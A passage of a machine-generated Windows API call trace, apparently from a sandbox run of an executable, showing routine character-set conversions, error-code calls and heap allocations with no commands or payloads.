¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0047.047] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fcb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿbdjöôþ\x18", lpUsedDefaultChar=0x0) returned 256 [0047.047] GetLastError () returned 0x7f [0047.047] SetLastError (dwErrCode=0x7f) [0047.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0047.047] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0047.047] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0047.047] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fbb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿbdjöôþ\x18", lpUsedDefaultChar=0x0) returned 256 [0047.048] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x66e4e0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\host1506_2020-06-15_14-07.exe")) returned 0x43 [0047.048] GetLastError () returned 0x0 [0047.048] SetLastError (dwErrCode=0x0) [0047.048] GetLastError () returned 0x0 [0047.048] SetLastError (dwErrCode=0x0) [0047.048] GetLastError () returned 0x0 [0047.048] SetLastError (dwErrCode=0x0) [0047.048] GetLastError () returned 0x0 [0047.048] SetLastError (dwErrCode=0x0) [0047.048] GetLastError () returned 0x0 [0047.048] SetLastError (dwErrCode=0x0) [0047.048] GetLastError () returned 0x0 [0047.048] SetLastError (dwErrCode=0x0) [0047.048] GetLastError () returned 0x0 [0047.048] SetLastError (dwErrCode=0x0) [0047.048] GetLastError () returned 0x0 [0047.048] SetLastError (dwErrCode=0x0) [0047.048] GetLastError () returned 0x0 [0047.048] SetLastError (dwErrCode=0x0) [0047.048] GetLastError () returned 0x0 [0047.048] SetLastError (dwErrCode=0x0) [0047.048] GetLastError () returned 0x0 [0047.048] SetLastError (dwErrCode=0x0) [0047.048] GetLastError () returned 0x0 [0047.048] SetLastError (dwErrCode=0x0) [0047.048] GetLastError () returned 0x0 [0047.048] SetLastError (dwErrCode=0x0) [0047.048] GetLastError () returned 0x0 [0047.048] SetLastError (dwErrCode=0x0) [0047.048] GetLastError () returned 0x0 [0047.048] SetLastError (dwErrCode=0x0) [0047.048] GetLastError () returned 0x0 [0047.049] SetLastError (dwErrCode=0x0) [0047.049] GetLastError () returned 0x0 [0047.049] SetLastError (dwErrCode=0x0) [0047.049] GetLastError () returned 0x0 [0047.049] SetLastError (dwErrCode=0x0) [0047.049] GetLastError () returned 0x0 [0047.049] SetLastError (dwErrCode=0x0) [0047.049] GetLastError () returned 0x0 [0047.049] SetLastError (dwErrCode=0x0) [0047.049] GetLastError () returned 0x0 [0047.049] SetLastError (dwErrCode=0x0) [0047.049] GetLastError () returned 0x0 [0047.049] SetLastError (dwErrCode=0x0) [0047.049] GetLastError () returned 0x0 [0047.049] SetLastError (dwErrCode=0x0) [0047.049] GetLastError () returned 0x0 [0047.049] SetLastError (dwErrCode=0x0) [0047.049] GetLastError () returned 0x0 [0047.049] SetLastError (dwErrCode=0x0) [0047.049] GetLastError () returned 0x0 [0047.049] SetLastError (dwErrCode=0x0) [0047.049] GetLastError () returned 0x0 [0047.049] SetLastError (dwErrCode=0x0) [0047.049] GetLastError () returned 0x0 [0047.049] SetLastError (dwErrCode=0x0) [0047.049] GetLastError () returned 0x0 [0047.049] SetLastError (dwErrCode=0x0) [0047.049] GetLastError () returned 0x0 [0047.049] SetLastError (dwErrCode=0x0) [0047.049] GetLastError () returned 0x0 [0047.049] SetLastError (dwErrCode=0x0) [0047.049] GetLastError () returned 0x0 [0047.049] SetLastError (dwErrCode=0x0) [0047.050] GetLastError () returned 0x0 [0047.050] SetLastError (dwErrCode=0x0) [0047.050] GetLastError () returned 0x0 [0047.050] SetLastError (dwErrCode=0x0) [0047.050] GetLastError () returned 0x0 [0047.050] SetLastError (dwErrCode=0x0) [0047.050] GetLastError () returned 0x0 [0047.050] SetLastError (dwErrCode=0x0) [0047.050] GetLastError () returned 0x0 [0047.050] SetLastError (dwErrCode=0x0) [0047.050] GetLastError () returned 0x0 [0047.050] SetLastError (dwErrCode=0x0) [0047.050] GetLastError () returned 0x0 [0047.050] SetLastError (dwErrCode=0x0) [0047.050] GetLastError () returned 0x0 [0047.050] SetLastError (dwErrCode=0x0) [0047.050] GetLastError () returned 0x0 [0047.050] SetLastError (dwErrCode=0x0) [0047.050] GetLastError () returned 0x0 [0047.050] SetLastError (dwErrCode=0x0) [0047.050] GetLastError () returned 0x0 [0047.050] SetLastError (dwErrCode=0x0) [0047.050] GetLastError () returned 0x0 [0047.050] SetLastError (dwErrCode=0x0) [0047.050] GetLastError () returned 0x0 [0047.050] SetLastError (dwErrCode=0x0) [0047.050] GetLastError () returned 0x0 [0047.050] SetLastError (dwErrCode=0x0) [0047.050] GetLastError () returned 0x0 [0047.050] SetLastError (dwErrCode=0x0) [0047.050] GetLastError () returned 0x0 [0047.050] SetLastError (dwErrCode=0x0) [0047.050] GetLastError () returned 0x0 [0047.051] SetLastError (dwErrCode=0x0) [0047.051] GetLastError () returned 0x0 [0047.051] SetLastError (dwErrCode=0x0) [0047.051] GetLastError () returned 0x0 [0047.051] SetLastError (dwErrCode=0x0) [0047.051] GetLastError () returned 0x0 [0047.051] SetLastError (dwErrCode=0x0) [0047.051] GetLastError () returned 0x0 [0047.051] SetLastError (dwErrCode=0x0) [0047.051] GetLastError () returned 0x0 [0047.051] SetLastError (dwErrCode=0x0) [0047.051] GetLastError () returned 0x0 [0047.051] SetLastError (dwErrCode=0x0) [0047.051] GetLastError () returned 0x0 [0047.051] SetLastError (dwErrCode=0x0) [0047.051] GetLastError () returned 0x0 [0047.051] SetLastError (dwErrCode=0x0) [0047.051] GetLastError () returned 0x0 [0047.051] SetLastError (dwErrCode=0x0) [0047.051] GetLastError () returned 0x0 [0047.051] SetLastError (dwErrCode=0x0) [0047.051] GetLastError () returned 0x0 [0047.051] SetLastError (dwErrCode=0x0) [0047.051] GetLastError () returned 0x0 [0047.051] SetLastError (dwErrCode=0x0) [0047.051] GetLastError () returned 0x0 [0047.051] SetLastError (dwErrCode=0x0) [0047.051] GetLastError () returned 0x0 [0047.051] SetLastError (dwErrCode=0x0) [0047.051] GetLastError () returned 0x0 [0047.051] SetLastError (dwErrCode=0x0) [0047.051] GetLastError () returned 0x0 [0047.051] SetLastError (dwErrCode=0x0) [0047.051] GetLastError () returned 0x0 [0047.052] SetLastError (dwErrCode=0x0) [0047.052] GetLastError () returned 0x0 [0047.052] SetLastError (dwErrCode=0x0) [0047.052] GetLastError () returned 0x0 [0047.052] SetLastError (dwErrCode=0x0) [0047.052] GetLastError () returned 0x0 [0047.052] SetLastError (dwErrCode=0x0) [0047.052] GetLastError () returned 0x0 [0047.052] SetLastError (dwErrCode=0x0) [0047.052] GetLastError () returned 0x0 [0047.052] SetLastError (dwErrCode=0x0) [0047.052] GetLastError () returned 0x0 [0047.052] SetLastError (dwErrCode=0x0) [0047.052] GetLastError () returned 0x0 [0047.052] SetLastError (dwErrCode=0x0) [0047.052] GetLastError () returned 0x0 [0047.052] SetLastError (dwErrCode=0x0) [0047.052] GetLastError () returned 0x0 [0047.052] SetLastError (dwErrCode=0x0) [0047.052] GetLastError () returned 0x0 [0047.052] SetLastError (dwErrCode=0x0) [0047.052] GetLastError () returned 0x0 [0047.052] SetLastError (dwErrCode=0x0) [0047.052] GetLastError () returned 0x0 [0047.052] SetLastError (dwErrCode=0x0) [0047.052] GetLastError () returned 0x0 [0047.052] SetLastError (dwErrCode=0x0) [0047.052] GetLastError () returned 0x0 [0047.052] SetLastError (dwErrCode=0x0) [0047.052] GetLastError () returned 0x0 [0047.052] SetLastError (dwErrCode=0x0) [0047.052] GetLastError () returned 0x0 [0047.052] SetLastError (dwErrCode=0x0) [0047.053] GetLastError () returned 0x0 [0047.053] SetLastError (dwErrCode=0x0) [0047.053] GetLastError () returned 0x0 [0047.053] SetLastError (dwErrCode=0x0) [0047.053] GetLastError () returned 0x0 [0047.053] SetLastError (dwErrCode=0x0) [0047.053] GetLastError () returned 0x0 [0047.053] SetLastError (dwErrCode=0x0) [0047.053] GetLastError () returned 0x0 [0047.053] SetLastError (dwErrCode=0x0) [0047.053] GetLastError () returned 0x0 [0047.053] SetLastError (dwErrCode=0x0) [0047.053] GetLastError () returned 0x0 [0047.053] SetLastError (dwErrCode=0x0) [0047.053] GetLastError () returned 0x0 [0047.053] SetLastError (dwErrCode=0x0) [0047.053] GetLastError () returned 0x0 [0047.053] SetLastError (dwErrCode=0x0) [0047.053] GetLastError () returned 0x0 [0047.053] SetLastError (dwErrCode=0x0) [0047.053] GetLastError () returned 0x0 [0047.053] SetLastError (dwErrCode=0x0) [0047.053] GetLastError () returned 0x0 [0047.053] SetLastError (dwErrCode=0x0) [0047.053] GetLastError () returned 0x0 [0047.053] SetLastError (dwErrCode=0x0) [0047.053] GetLastError () returned 0x0 [0047.053] SetLastError (dwErrCode=0x0) [0047.053] GetLastError () returned 0x0 [0047.053] SetLastError (dwErrCode=0x0) [0047.053] GetLastError () returned 0x0 [0047.053] SetLastError (dwErrCode=0x0) [0047.053] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x79) returned 0x2d0d08 [0047.054] GetLastError () returned 0x0 [0047.054] SetLastError (dwErrCode=0x0) [0047.054] GetLastError () returned 0x0 [0047.054] SetLastError (dwErrCode=0x0) [0047.054] GetLastError () returned 0x0 [0047.054] SetLastError (dwErrCode=0x0) [0047.054] GetLastError () returned 0x0 [0047.054] SetLastError (dwErrCode=0x0) [0047.054] GetLastError () returned 0x0 [0047.054] SetLastError (dwErrCode=0x0) [0047.054] GetLastError () returned 0x0 [0047.054] SetLastError (dwErrCode=0x0) [0047.054] GetLastError () returned 0x0 [0047.054] SetLastError (dwErrCode=0x0) [0047.054] GetLastError () returned 0x0 [0047.054] SetLastError (dwErrCode=0x0) [0047.054] GetLastError () returned 0x0 [0047.054] SetLastError (dwErrCode=0x0) [0047.054] GetLastError () returned 0x0 [0047.054] SetLastError (dwErrCode=0x0) [0047.054] GetLastError () returned 0x0 [0047.054] SetLastError (dwErrCode=0x0) [0047.054] GetLastError () returned 0x0 [0047.054] SetLastError (dwErrCode=0x0) [0047.054] GetLastError () returned 0x0 [0047.054] SetLastError (dwErrCode=0x0) [0047.054] GetLastError () returned 0x0 [0047.054] SetLastError (dwErrCode=0x0) [0047.054] GetLastError () returned 0x0 [0047.055] SetLastError (dwErrCode=0x0) [0047.055] GetLastError () returned 0x0 [0047.055] SetLastError (dwErrCode=0x0) [0047.055] GetLastError () returned 0x0 [0047.055] SetLastError (dwErrCode=0x0) [0047.055] GetLastError () returned 0x0 [0047.055] SetLastError (dwErrCode=0x0) [0047.055] GetLastError () returned 0x0 [0047.055] SetLastError (dwErrCode=0x0) [0047.055] GetLastError () returned 0x0 [0047.055] SetLastError (dwErrCode=0x0) [0047.055] GetLastError () returned 0x0 [0047.055] SetLastError (dwErrCode=0x0) [0047.055] GetLastError () returned 0x0 [0047.055] SetLastError (dwErrCode=0x0) [0047.055] GetLastError () returned 0x0 [0047.055] SetLastError (dwErrCode=0x0) [0047.055] GetLastError () returned 0x0 [0047.055] SetLastError (dwErrCode=0x0) [0047.055] GetLastError () returned 0x0 [0047.055] SetLastError (dwErrCode=0x0) [0047.055] GetLastError () returned 0x0 [0047.055] SetLastError (dwErrCode=0x0) [0047.055] GetLastError () returned 0x0 [0047.055] SetLastError (dwErrCode=0x0) [0047.055] GetLastError () returned 0x0 [0047.055] SetLastError (dwErrCode=0x0) [0047.055] GetLastError () returned 0x0 [0047.055] SetLastError (dwErrCode=0x0) [0047.055] GetLastError () returned 0x0 [0047.055] SetLastError (dwErrCode=0x0) [0047.055] GetLastError () returned 0x0 [0047.056] SetLastError (dwErrCode=0x0) [0047.056] GetLastError () returned 0x0 [0047.056] SetLastError (dwErrCode=0x0) [0047.056] GetLastError () returned 0x0 [0047.056] SetLastError (dwErrCode=0x0) [0047.056] GetLastError () returned 0x0 [0047.056] SetLastError (dwErrCode=0x0) [0047.056] GetLastError () returned 0x0 [0047.056] SetLastError (dwErrCode=0x0) [0047.056] GetLastError () returned 0x0 [0047.056] SetLastError (dwErrCode=0x0) [0047.056] GetLastError () returned 0x0 [0047.056] SetLastError (dwErrCode=0x0) [0047.056] GetLastError () returned 0x0 [0047.056] SetLastError (dwErrCode=0x0) [0047.056] GetLastError () returned 0x0 [0047.056] SetLastError (dwErrCode=0x0) [0047.056] GetLastError () returned 0x0 [0047.056] SetLastError (dwErrCode=0x0) [0047.056] GetLastError () returned 0x0 [0047.056] SetLastError (dwErrCode=0x0) [0047.056] GetLastError () returned 0x0 [0047.056] SetLastError (dwErrCode=0x0) [0047.056] GetLastError () returned 0x0 [0047.056] SetLastError (dwErrCode=0x0) [0047.056] GetLastError () returned 0x0 [0047.056] SetLastError (dwErrCode=0x0) [0047.056] GetLastError () returned 0x0 [0047.056] SetLastError (dwErrCode=0x0) [0047.056] GetLastError () returned 0x0 [0047.056] SetLastError (dwErrCode=0x0) [0047.056] GetLastError () returned 0x0 [0047.056] SetLastError (dwErrCode=0x0) [0047.057] GetLastError () returned 0x0 [0047.057] SetLastError (dwErrCode=0x0) [0047.057] GetLastError () returned 0x0 [0047.057] SetLastError (dwErrCode=0x0) [0047.057] GetLastError () returned 0x0 [0047.057] SetLastError (dwErrCode=0x0) [0047.057] GetLastError () returned 0x0 [0047.057] SetLastError (dwErrCode=0x0) [0047.057] GetLastError () returned 0x0 [0047.057] SetLastError (dwErrCode=0x0) [0047.057] GetLastError () returned 0x0 [0047.057] SetLastError (dwErrCode=0x0) [0047.057] GetLastError () returned 0x0 [0047.057] SetLastError (dwErrCode=0x0) [0047.057] GetLastError () returned 0x0 [0047.057] SetLastError (dwErrCode=0x0) [0047.057] GetLastError () returned 0x0 [0047.057] SetLastError (dwErrCode=0x0) [0047.057] GetLastError () returned 0x0 [0047.057] SetLastError (dwErrCode=0x0) [0047.057] GetLastError () returned 0x0 [0047.057] SetLastError (dwErrCode=0x0) [0047.057] GetLastError () returned 0x0 [0047.057] SetLastError (dwErrCode=0x0) [0047.057] GetLastError () returned 0x0 [0047.057] SetLastError (dwErrCode=0x0) [0047.057] GetLastError () returned 0x0 [0047.057] SetLastError (dwErrCode=0x0) [0047.057] GetLastError () returned 0x0 [0047.057] SetLastError (dwErrCode=0x0) [0047.057] GetLastError () returned 0x0 [0047.057] SetLastError (dwErrCode=0x0) [0047.057] GetLastError () returned 0x0 [0047.058] SetLastError (dwErrCode=0x0) [0047.058] GetLastError () returned 0x0 [0047.058] SetLastError (dwErrCode=0x0) [0047.058] GetLastError () returned 0x0 [0047.058] SetLastError (dwErrCode=0x0) [0047.058] GetLastError () returned 0x0 [0047.058] SetLastError (dwErrCode=0x0) [0047.058] GetLastError () returned 0x0 [0047.058] SetLastError (dwErrCode=0x0) [0047.058] GetLastError () returned 0x0 [0047.058] SetLastError (dwErrCode=0x0) [0047.058] GetLastError () returned 0x0 [0047.058] SetLastError (dwErrCode=0x0) [0047.058] GetLastError () returned 0x0 [0047.058] SetLastError (dwErrCode=0x0) [0047.058] GetLastError () returned 0x0 [0047.058] SetLastError (dwErrCode=0x0) [0047.058] GetLastError () returned 0x0 [0047.058] SetLastError (dwErrCode=0x0) [0047.058] GetLastError () returned 0x0 [0047.058] SetLastError (dwErrCode=0x0) [0047.058] GetLastError () returned 0x0 [0047.058] SetLastError (dwErrCode=0x0) [0047.058] GetLastError () returned 0x0 [0047.058] SetLastError (dwErrCode=0x0) [0047.058] GetLastError () returned 0x0 [0047.058] SetLastError (dwErrCode=0x0) [0047.058] GetLastError () returned 0x0 [0047.058] SetLastError (dwErrCode=0x0) [0047.058] GetLastError () returned 0x0 [0047.058] SetLastError (dwErrCode=0x0) [0047.058] GetLastError () returned 0x0 [0047.058] SetLastError (dwErrCode=0x0) [0047.059] GetLastError () returned 0x0 [0047.059] SetLastError (dwErrCode=0x0) [0047.059] GetLastError () returned 0x0 [0047.059] SetLastError (dwErrCode=0x0) [0047.059] GetLastError () returned 0x0 [0047.059] SetLastError (dwErrCode=0x0) [0047.059] GetLastError () returned 0x0 [0047.059] SetLastError (dwErrCode=0x0) [0047.059] GetLastError () returned 0x0 [0047.059] SetLastError (dwErrCode=0x0) [0047.059] GetLastError () returned 0x0 [0047.059] SetLastError (dwErrCode=0x0) [0047.059] GetLastError () returned 0x0 [0047.059] SetLastError (dwErrCode=0x0) [0047.059] GetLastError () returned 0x0 [0047.059] SetLastError (dwErrCode=0x0) [0047.059] GetLastError () returned 0x0 [0047.059] SetLastError (dwErrCode=0x0) [0047.059] GetLastError () returned 0x0 [0047.059] SetLastError (dwErrCode=0x0) [0047.059] GetLastError () returned 0x0 [0047.059] SetLastError (dwErrCode=0x0) [0047.059] GetLastError () returned 0x0 [0047.059] SetLastError (dwErrCode=0x0) [0047.059] GetLastError () returned 0x0 [0047.059] SetLastError (dwErrCode=0x0) [0047.059] GetLastError () returned 0x0 [0047.059] SetLastError (dwErrCode=0x0) [0047.059] GetLastError () returned 0x0 [0047.059] SetLastError (dwErrCode=0x0) [0047.059] GetLastError () returned 0x0 [0047.059] SetLastError (dwErrCode=0x0) [0047.059] GetLastError () returned 0x0 [0047.060] SetLastError (dwErrCode=0x0) [0047.060] GetLastError () returned 0x0 [0047.060] SetLastError (dwErrCode=0x0) [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x98) returned 0x2d0d90 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1f) returned 0x2cdcf8 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x36) returned 0x2d0e30 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x37) returned 0x2d0e70 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x3c) returned 0x2d0eb0 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x31) returned 0x2d0ef8 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x17) returned 0x2d0f38 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x24) returned 0x2d0f58 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x14) returned 0x2d0f88 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xd) returned 0x2d0fa8 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x25) returned 0x2cfa98 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x39) returned 0x2cfac8 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x18) returned 0x2d0fc0 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x17) returned 0x2cfb10 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xe) returned 0x2cfb30 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x69) returned 0x2cfb48 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x3e) returned 0x2cfbc0 